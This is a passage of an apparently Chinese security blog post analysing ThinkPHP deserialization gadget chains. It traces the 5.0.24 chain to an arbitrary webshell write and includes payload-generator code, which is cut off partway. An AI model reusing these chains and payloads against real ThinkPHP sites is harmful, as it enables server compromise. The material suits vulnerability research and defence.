class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;files=[<span class="keyword">new</span> Pivot()];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">model</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">Model</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pivot</span> <span class="keyword">extends</span> <span class="title">Model</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">process</span>\<span class="title">pipes</span>\<span class="title">Windows</span>;</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> Windows()));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>
<h2 id="参考链接-1"><a href="#参考链接-1" class="headerlink" title="参考链接"></a>参考链接</h2><blockquote>
<p><a href="https://xz.aliyun.com/t/6476" target="_blank" rel="noopener">https://xz.aliyun.com/t/6476</a></p>
</blockquote>
<h1 id="5-0-24"><a href="#5-0-24" class="headerlink" title="5.0.24"></a>5.0.24</h1><blockquote>
<p>测试环境</p>
<p>Linux</p>
<p>php5.6</p>
<p>tp5.0.24</p>
</blockquote>
<h2 id="代码分析-2"><a href="#代码分析-2" class="headerlink" title="代码分析"></a>代码分析</h2><p>该版本下利用方式是通过反序列化达到写文件的目的，我们来跟一下链</p>
<p>开始位置同样是位于<code>thinkphp/library/think/process/pipes/Windows.php</code>中的<code>windows</code>类的<code>__destruct</code>方法，该方法调用<code>removeFiles</code>方法，利用<code>removeFiles</code>可以实现对任意类<code>__toString</code>方法的触发，这里选择触发位于<code>thinkphp/library/think/Model.php</code>中的<code>Model</code>类的<code>__toString</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;toJson();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>跟进<code>toJson</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toJson</span><span class="params">($options = JSON_UNESCAPED_UNICODE)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> json_encode(<span class="keyword">$this</span>-&gt;toArray(), $options);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>继续跟进<code>toArray</code>，列出关键代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">toArray</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $item    = [];</span><br><span class="line">    $visible = [];</span><br><span class="line">    $hidden  = [];</span><br><span class="line"></span><br><span class="line">    $data = array_merge(<span class="keyword">$this</span>-&gt;data, <span class="keyword">$this</span>-&gt;relation);</span><br><span class="line">    .....</span><br><span class="line">    .....</span><br><span class="line">    .....</span><br><span class="line">    <span class="comment">// 追加属性（必须定义获取器）</span></span><br><span class="line">    <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;append)) &#123;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;append <span class="keyword">as</span> $key =&gt; $name) &#123;</span><br><span class="line">            <span class="keyword">if</span> (is_array($name)) &#123;</span><br><span class="line">                <span class="comment">// 追加关联对象属性</span></span><br><span class="line">                $relation   = <span class="keyword">$this</span>-&gt;getAttr($key);</span><br><span class="line">                $item[$key] = $relation-&gt;append($name)-&gt;toArray();</span><br><span class="line">            &#125; <span class="keyword">elseif</span> (strpos($name, <span class="string">'.'</span>)) &#123;</span><br><span class="line">                <span class="keyword">list</span>($key, $attr) = explode(<span class="string">'.'</span>, $name);</span><br><span class="line">                <span class="comment">// 追加关联对象属性</span></span><br><span class="line">                $relation   = <span class="keyword">$this</span>-&gt;getAttr($key);</span><br><span class="line">                $item[$key] = $relation-&gt;append([$attr])-&gt;toArray();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                $relation = Loader::parseName($name, <span class="number">1</span>, <span class="keyword">false</span>);</span><br><span class="line">                <span class="keyword">if</span> (method_exists(<span class="keyword">$this</span>, $relation)) &#123;</span><br><span class="line">                        $modelRelation = <span class="keyword">$this</span>-&gt;$relation();</span><br><span class="line">                        $value         = <span class="keyword">$this</span>-&gt;getRelationData($modelRelation);</span><br><span class="line"></span><br><span class="line">                    <span class="keyword">if</span> (method_exists($modelRelation, <span class="string">'getBindAttr'</span>)) &#123;</span><br><span class="line">                        $bindAttr = $modelRelation-&gt;getBindAttr();</span><br><span class="line">                        <span class="keyword">if</span> ($bindAttr) &#123;</span><br><span class="line">                            <span class="keyword">foreach</span> ($bindAttr <span class="keyword">as</span> $key =&gt; $attr) &#123;</span><br><span class="line">                                $key = is_numeric($key) ? $attr : $key;</span><br><span class="line">                                <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;data[$key])) &#123;</span><br><span class="line">                                    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="keyword">Exception</span>(<span class="string">'bind attr has exists:'</span> . $key);</span><br><span class="line">                                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                                    $item[$key] = $value ? $value-&gt;getAttr($attr) : <span class="keyword">null</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                            <span class="keyword">continue</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                    $item[$name] = $value;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    $item[$name] = <span class="keyword">$this</span>-&gt;getAttr($name);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> !<span class="keyword">empty</span>($item) ? $item : [];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>我们的目的是到达如下代码段</p>
<p><img src="/2020/03/06/thinkphp反序列化漏洞分析/34.png" alt="34"></p>
<p>我在该函数中对于<code>__call</code>方法的触发不同于参考文章，直接跟进<code>getRelationData</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getRelationData</span><span class="params">(Relation $modelRelation)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;parent &amp;&amp; !$modelRelation-&gt;isSelfRelation() &amp;&amp; get_class($modelRelation-&gt;getModel()) == get_class(<span class="keyword">$this</span>-&gt;parent)) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">"&lt;br&gt;fuction called"</span>;</span><br><span class="line">            $value = <span class="keyword">$this</span>-&gt;parent;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 首先获取关联数据</span></span><br><span class="line">            <span class="keyword">if</span> (method_exists($modelRelation, <span class="string">'getRelation'</span>)) &#123;</span><br><span class="line">                $value = $modelRelation-&gt;getRelation();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> BadMethodCallException(<span class="string">'method not exists:'</span> . get_class($modelRelation) . <span class="string">'-&gt; getRelation'</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $value;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<p>这里我们注意下<code>$modelRelation</code>参数，他的值由<code>$modelRelation = $this-&gt;$relation();</code>这句得到，<code>$relation</code>值由<code>$name</code>决定，<code>$name</code>值由<code>$this-&gt;append</code>决定，是可控的，那么这里我们就可以调用我们可控的方法，这里选择<code>Modle</code>类中的<code>getError</code>方法,因为其返回值直接可控</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getError</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;error;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>在这里<code>$modelRelation</code>就是完全可控的，在<code>getRelationData</code>方法中，执行到<code>$value = $modelRelation-&gt;getRelation();</code>时，就可以执行任意类的<code>getRelation</code>方法，这里选择位于<code>thinkphp/library/think/model/relation/HasOne.php</code>的<code>HasOne</code>类的<code>getRelation</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getRelation</span><span class="params">($subRelation = <span class="string">''</span>, $closure = null)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">// 执行关联定义方法</span></span><br><span class="line">    $localKey = <span class="keyword">$this</span>-&gt;localKey;</span><br><span class="line">    <span class="keyword">if</span> ($closure) &#123;</span><br><span class="line">        call_user_func_array($closure, [ &amp; <span class="keyword">$this</span>-&gt;query]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 判断关联类型执行查询</span></span><br><span class="line">    $relationModel = <span class="keyword">$this</span>-&gt;query</span><br><span class="line">        -&gt;removeWhereField(<span class="keyword">$this</span>-&gt;foreignKey)</span><br><span class="line">        -&gt;where(<span class="keyword">$this</span>-&gt;foreignKey, <span class="keyword">$this</span>-&gt;parent-&gt;$localKey)</span><br><span class="line">        -&gt;relation($subRelation)</span><br><span class="line">        -&gt;find();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ($relationModel) &#123;</span><br><span class="line">        $relationModel-&gt;setParent(<span class="keyword">clone</span> <span class="keyword">$this</span>-&gt;parent);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $relationModel;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>关注如下代码段</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$relationModel = <span class="keyword">$this</span>-&gt;query</span><br><span class="line">            -&gt;removeWhereField(<span class="keyword">$this</span>-&gt;foreignKey)</span><br><span class="line">            -&gt;where(<span class="keyword">$this</span>-&gt;foreignKey, <span class="keyword">$this</span>-&gt;parent-&gt;$localKey)</span><br><span class="line">            -&gt;relation($subRelation)</span><br><span class="line">            -&gt;find();</span><br></pre></td></tr></table></figure>
<p>这里<code>$this-&gt;query</code>可控，<code>$this-&gt;foreignKey</code>可控，这样就可以触发任意不存在<code>removeWhereField</code>方法的类的<code>__call</code>方法，这里选择触发位于<code>thinkphp/library/think/console/Output.php</code>的<code>Output</code>类的<code>__call</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span><span class="params">($method, $args)</span></span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        var_dump($args);</span><br><span class="line">        <span class="keyword">if</span> (in_array($method, <span class="keyword">$this</span>-&gt;styles)) &#123;</span><br><span class="line">            array_unshift($args, $method);<span class="comment">//$args-&gt;class Relation-&gt;$foreignKey</span></span><br><span class="line">            <span class="keyword">return</span> call_user_func_array([<span class="keyword">$this</span>, <span class="string">'block'</span>], $args);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;handle &amp;&amp; method_exists(<span class="keyword">$this</span>-&gt;handle, $method)) &#123;</span><br><span class="line">            <span class="keyword">return</span> call_user_func_array([<span class="keyword">$this</span>-&gt;handle, $method], $args);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="keyword">Exception</span>(<span class="string">'method not exists:'</span> . <span class="keyword">__CLASS__</span> . <span class="string">'-&gt;'</span> . $method);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>接着由于<code>return call_user_func_array([$this, &#39;block&#39;], $args);</code>会触发<code>block</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">block</span><span class="params">($style, $message)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;writeln(<span class="string">"&lt;&#123;$style&#125;&gt;&#123;$message&#125;&lt;/$style&gt;"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>跟进<code>writeln</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">writeln</span><span class="params">($messages, $type = self::OUTPUT_NORMAL)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;write($messages, <span class="keyword">true</span>, $type);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>跟进<code>write</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($messages, $newline = false, $type = self::OUTPUT_NORMAL)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">$this</span>-&gt;handle-&gt;write($messages, $newline, $type);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>这里<code>$this-&gt;handle</code>可控，我们又可以实现对任意类的<code>write</code>方法的调用，这里选择位于<code>think/session/driver/Memcache.php</code>的<code>Memcache</code>类的<code>write</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span><span class="params">($sessID, $sessData)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;handler-&gt;set(<span class="keyword">$this</span>-&gt;config[<span class="string">'session_name'</span>] . $sessID, $sessData, <span class="keyword">$this</span>-&gt;config[<span class="string">'expire'</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>同样的<code>$this-&gt;handler</code>可控，这样我们可以调用其他类的<code>set</code>方法，这里选择位于<code>thinkphp/library/think/cache/driver/File.php</code>的<code>File</code>类的<code>set</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">set</span><span class="params">($name, $value, $expire = null)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (is_null($expire)) &#123;</span><br><span class="line">        $expire = <span class="keyword">$this</span>-&gt;options[<span class="string">'expire'</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ($expire <span class="keyword">instanceof</span> \DateTime) &#123;</span><br><span class="line">        $expire = $expire-&gt;getTimestamp() - time();</span><br><span class="line">    &#125;</span><br><span class="line">    $filename = <span class="keyword">$this</span>-&gt;getCacheKey($name, <span class="keyword">true</span>);</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;tag &amp;&amp; !is_file($filename)) &#123;</span><br><span class="line">        $first = <span class="keyword">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    $data = serialize($value);</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;options[<span class="string">'data_compress'</span>] &amp;&amp; function_exists(<span class="string">'gzcompress'</span>)) &#123;</span><br><span class="line">        <span class="comment">//数据压缩</span></span><br><span class="line">        $data = gzcompress($data, <span class="number">3</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    $data   = <span class="string">"&lt;?php\n//"</span> . sprintf(<span class="string">'%012d'</span>, $expire) . <span class="string">"\n exit();?&gt;\n"</span> . $data;</span><br><span class="line">    $result = file_put_contents($filename, $data);</span><br><span class="line">    <span class="keyword">if</span> ($result) &#123;</span><br><span class="line">        <span class="keyword">isset</span>($first) &amp;&amp; <span class="keyword">$this</span>-&gt;setTagItem($filename);</span><br><span class="line">        clearstatcache();</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">true</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>这也是该链写文件的部分，看一下<code>file_put_contents($filename, $data);</code>的两个参数</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$filename = <span class="keyword">$this</span>-&gt;getCacheKey($name, <span class="keyword">true</span>);</span><br><span class="line">$data = serialize($value);</span><br></pre></td></tr></table></figure>
<p>先看<code>$filename</code>，跟进<code>getCacheKey</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getCacheKey</span><span class="params">($name, $auto = false)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $name = md5($name);</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;options[<span class="string">'cache_subdir'</span>]) &#123;</span><br><span class="line">        <span class="comment">// 使用子目录</span></span><br><span class="line">        $name = substr($name, <span class="number">0</span>, <span class="number">2</span>) . DS . substr($name, <span class="number">2</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;options[<span class="string">'prefix'</span>]) &#123;</span><br><span class="line">        $name = <span class="keyword">$this</span>-&gt;options[<span class="string">'prefix'</span>] . DS . $name;</span><br><span class="line">    &#125;</span><br><span class="line">    $filename = <span class="keyword">$this</span>-&gt;options[<span class="string">'path'</span>] . $name . <span class="string">'.php'</span>;</span><br><span class="line">    $dir      = dirname($filename);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ($auto &amp;&amp; !is_dir($dir)) &#123;</span><br><span class="line">        mkdir($dir, <span class="number">0755</span>, <span class="keyword">true</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> $filename;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><code>$filename</code>是由<code>$this-&gt;options[&#39;path&#39;]</code>和<code>$name</code>组成的，是可控的，那么<code>$filename</code>就是可控的，其中md5值我们可以自己算出来</p>
<p>然后看一下<code>$data</code>，其值由<code>$value</code>决定，向上回溯会发现，该值的类型是布尔类型，也就是说我们在此处无法控制<code>$data</code>的值，那么目前我们无法写任意<code>shell</code>，于是接着回到<code>set</code>方法中，注意到该条语句<code>$this-&gt;setTagItem($filename);</code>，跟进<code>setTagItem</code>方法</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">setTagItem</span><span class="params">($name)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;tag) &#123;</span><br><span class="line">        $key       = <span class="string">'tag_'</span> . md5(<span class="keyword">$this</span>-&gt;tag);</span><br><span class="line">        <span class="keyword">$this</span>-&gt;tag = <span class="keyword">null</span>;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;has($key)) &#123;</span><br><span class="line">            $value   = explode(<span class="string">','</span>, <span class="keyword">$this</span>-&gt;get($key));</span><br><span class="line">            $value[] = $name;</span><br><span class="line">            $value   = implode(<span class="string">','</span>, array_unique($value));</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $value = $name;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;set($key, $value, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>该方法中最后重新调用了<code>set</code>方法，其中<code>$key  = &#39;tag_&#39; . md5($this-&gt;tag);</code>中<code>$this-&gt;tag</code>可控，则<code>$key</code>可控，而<code>$value = $name</code>，<code>$name</code>是刚刚的<code>$filename</code>，那么<code>$value</code>也是可控的，在此我们在这里再次调用<code>set</code>方法，同时也能完全控制写入的文件名和文件内容，在写入文件内容时可以注意到如下语句</p>
<figure class="highlight perl"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$data   = <span class="string">"&lt;?php\n//"</span> . <span class="keyword">sprintf</span>(<span class="string">'%012d'</span>, $expire) . <span class="string">"\n exit();?&gt;\n"</span> . $data;</span><br></pre></td></tr></table></figure>
<p>我们需要消除该处<code>exit()</code>方法的限制，这里我们可以使用<code>伪协议+rot13</code>编码绕过</p>
<h2 id="payload编写-2"><a href="#payload编写-2" class="headerlink" title="payload编写"></a>payload编写</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">session</span>\<span class="title">driver</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">driver</span>\<span class="title">File</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Memcached</span></span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> $handler = <span class="keyword">null</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;handler = <span class="keyword">new</span> File();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">think</span>\<span class="title">cache</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Driver</span></span>&#123;</span><br><span class="line">    <span class="comment">//protected $tag;</span></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">()</span></span>&#123;</span><br><span class="line">        <span class="comment">//$this-&gt;tag = 'nocatch';</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span 